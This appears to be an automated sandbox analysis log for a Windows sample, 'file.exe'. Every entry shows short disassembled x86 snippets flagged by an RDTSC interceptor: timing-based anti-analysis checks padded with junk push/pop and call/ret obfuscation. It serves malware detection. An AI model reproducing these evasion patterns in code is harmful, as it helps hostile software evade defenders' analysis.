Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2B3B second address: EE2B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8428B8CB4Fh 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007F8428B8CB46h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2B5C second address: EE2B66 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8428CC376Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2C8F second address: EE2C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428B8CB4Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2C9F second address: EE2CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8428CC3772h 0x0000000c jg 00007F8428CC3768h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3505 second address: EE3527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F8428B8CB50h 0x0000000b popad 0x0000000c jmp 00007F8428B8CB4Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3527 second address: EE353A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F8428CC376Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83D78 second address: E83D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jc 00007F8428B8CB46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83D87 second address: E83D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83D8F second address: E83D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE55A6 second address: EE55AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE976E second address: EE9774 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9774 second address: EE977F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8428CC3766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE977F second address: EE9797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8428B8CB46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e jng 00007F8428B8CB4Eh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9797 second address: EE97A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8428CC376Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EECD5C second address: EECD62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA725F second address: EA72B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F8428CC3768h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 lea eax, dword ptr [ebp+1248AF67h] 0x0000002b mov cx, ax 0x0000002e nop 0x0000002f jmp 00007F8428CC376Ah 0x00000034 push eax 0x00000035 pushad 0x00000036 jmp 00007F8428CC376Eh 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA72B0 second address: E83216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movsx ecx, si 0x0000000b call dword ptr [ebp+122D1F6Eh] 0x00000011 push eax 0x00000012 pushad 0x00000013 jbe 00007F8428B8CB46h 0x00000019 jmp 00007F8428B8CB58h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8428B8CB51h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7375 second address: EA737B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA737B second address: EA737F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA737F second address: EA744E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007F8428CC376Ah 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edx, dword ptr [ebp+1245459Bh] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F8428CC3768h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e jnl 00007F8428CC376Ch 0x00000044 mov dword ptr [ebp+1248AFBFh], esp 0x0000004a add edi, 31DFB4A8h 0x00000050 cmp dword ptr [ebp+122D36B9h], 00000000h 0x00000057 jne 00007F8428CC3835h 0x0000005d jmp 00007F8428CC3777h 0x00000062 mov byte ptr [ebp+122D2B3Ch], 00000047h 0x00000069 jmp 00007F8428CC3772h 0x0000006e mov eax, D49AA7D2h 0x00000073 push esi 0x00000074 add dword ptr [ebp+122D24E7h], eax 0x0000007a pop ecx 0x0000007b nop 0x0000007c jne 00007F8428CC377Ah 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jns 00007F8428CC3768h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA744E second address: EA7467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA787D second address: EA788D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA792D second address: EA7931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7931 second address: EA793C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7BB2 second address: EA7BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7BBC second address: EA7BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7BC0 second address: EA7BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7BCE second address: EA7BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7D0E second address: EA7D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8043 second address: EA8047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8047 second address: EA808C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor edi, 5582EC80h 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F8428B8CB48h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D2FE3h], eax 0x00000032 jnc 00007F8428B8CB47h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA808C second address: EA8092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8092 second address: EA8098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA839A second address: EA83E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 movzx edx, dx 0x0000000b lea eax, dword ptr [ebp+1248AFABh] 0x00000011 call 00007F8428CC3776h 0x00000016 sbb edi, 2FE4493Ah 0x0000001c pop edx 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 ja 00007F8428CC3766h 0x00000026 jmp 00007F8428CC376Ah 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jp 00007F8428CC3766h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA83E4 second address: EA842B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F8428B8CB48h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 movzx edx, si 0x00000027 lea eax, dword ptr [ebp+1248AF67h] 0x0000002d mov dword ptr [ebp+122D239Ah], edi 0x00000033 jno 00007F8428B8CB4Ch 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA842B second address: E83D87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8428CC3768h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 sbb edi, 71DACD26h 0x00000018 call dword ptr [ebp+122D2C58h] 0x0000001e pushad 0x0000001f jl 00007F8428CC376Eh 0x00000025 pushad 0x00000026 push edi 0x00000027 pop edi 0x00000028 jc 00007F8428CC3766h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EECFBA second address: EECFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EECFC0 second address: EECFC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7710 second address: CEFB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F8428B8CB4Fh 0x0000000b nop 0x0000000c jmp 00007F8428B8CB57h 0x00000011 push dword ptr [ebp+122D1639h] 0x00000017 sub edi, dword ptr [ebp+122D1C6Ah] 0x0000001d call dword ptr [ebp+122D22DAh] 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D1FABh], eax 0x0000002a xor eax, eax 0x0000002c jnp 00007F8428B8CB4Ch 0x00000032 mov dword ptr [ebp+122D1CBFh], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c add dword ptr [ebp+122D1CBFh], edi 0x00000042 mov dword ptr [ebp+122D38CDh], eax 0x00000048 sub dword ptr [ebp+122D1FABh], edi 0x0000004e mov esi, 0000003Ch 0x00000053 jmp 00007F8428B8CB4Fh 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c sub dword ptr [ebp+122D1FABh], esi 0x00000062 lodsw 0x00000064 jmp 00007F8428B8CB52h 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d or dword ptr [ebp+122D1FABh], ebx 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 cmc 0x00000078 nop 0x00000079 pushad 0x0000007a pushad 0x0000007b jo 00007F8428B8CB46h 0x00000081 jmp 00007F8428B8CB57h 0x00000086 popad 0x00000087 push edi 0x00000088 jbe 00007F8428B8CB46h 0x0000008e pop edi 0x0000008f popad 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 pushad 0x00000094 push eax 0x00000095 push edx 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED27B second address: EED2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8428CC3766h 0x0000000a pop edi 0x0000000b jmp 00007F8428CC376Eh 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jne 00007F8428CC376Eh 0x00000018 push ebx 0x00000019 jbe 00007F8428CC3766h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED446 second address: EED45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8428B8CB4Eh 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnp 00007F8428B8CB46h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED45C second address: EED480 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8428CC3766h 0x00000008 jmp 00007F8428CC3774h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED480 second address: EED486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED486 second address: EED48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED48A second address: EED48E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED850 second address: EED856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED856 second address: EED86C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8428B8CB46h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F8428B8CB46h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED86C second address: EED88B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F8428CC37A1h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF03B3 second address: EF03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEFFA3 second address: EEFFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEFFAD second address: EEFFB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF00E6 second address: EF00F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428CC376Bh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF00F6 second address: EF010B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8428B8CB46h 0x0000000a jmp 00007F8428B8CB4Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2B89 second address: EF2B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jp 00007F8428CC3766h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2B96 second address: EF2BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8428B8CB4Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2BA8 second address: EF2BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 ja 00007F8428CC376Eh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2BBA second address: EF2BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF80BB second address: EF80BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF80BF second address: EF80CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8428B8CB46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF80CB second address: EF80EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F8428CC376Ch 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF80EF second address: EF810D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428B8CB59h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF810D second address: EF812A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC376Ch 0x00000009 jmp 00007F8428CC376Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF742A second address: EF7431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7431 second address: EF7443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8428CC3766h 0x0000000a jp 00007F8428CC3766h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF6C7 second address: EFF6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF6CD second address: EFF6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF82D second address: EFF831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF831 second address: EFF835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFC1E second address: EFFC3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFC3F second address: EFFC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F8428CC3778h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFC60 second address: EFFC83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Eh 0x00000007 jno 00007F8428B8CB46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007F8428B8CB46h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFE23 second address: EFFE27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7E89 second address: EA7F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F8428B8CB48h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 call 00007F8428B8CB59h 0x0000002b jmp 00007F8428B8CB55h 0x00000030 pop edx 0x00000031 jng 00007F8428B8CB49h 0x00000037 xor ch, FFFFFFC9h 0x0000003a mov ebx, dword ptr [ebp+1248AFA6h] 0x00000040 mov edi, dword ptr [ebp+122D3975h] 0x00000046 add eax, ebx 0x00000048 add ecx, dword ptr [ebp+122D1F76h] 0x0000004e push eax 0x0000004f jmp 00007F8428B8CB50h 0x00000054 mov dword ptr [esp], eax 0x00000057 push 00000000h 0x00000059 push ebp 0x0000005a call 00007F8428B8CB48h 0x0000005f pop ebp 0x00000060 mov dword ptr [esp+04h], ebp 0x00000064 add dword ptr [esp+04h], 00000015h 0x0000006c inc ebp 0x0000006d push ebp 0x0000006e ret 0x0000006f pop ebp 0x00000070 ret 0x00000071 mov edx, ecx 0x00000073 push 00000004h 0x00000075 mov dword ptr [ebp+122D3277h], eax 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e jl 00007F8428B8CB48h 0x00000084 push eax 0x00000085 pop eax 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFF67 second address: EFFFA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3771h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8428CC3772h 0x00000010 jmp 00007F8428CC3775h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFFA9 second address: EFFFC2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8428B8CB46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F8428B8CB48h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E585BC second address: E585C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E585C2 second address: E585D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8428B8CB4Eh 0x0000000c jl 00007F8428B8CB46h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E585D6 second address: E585EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F8428CC3766h 0x0000000b popad 0x0000000c jc 00007F8428CC376Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
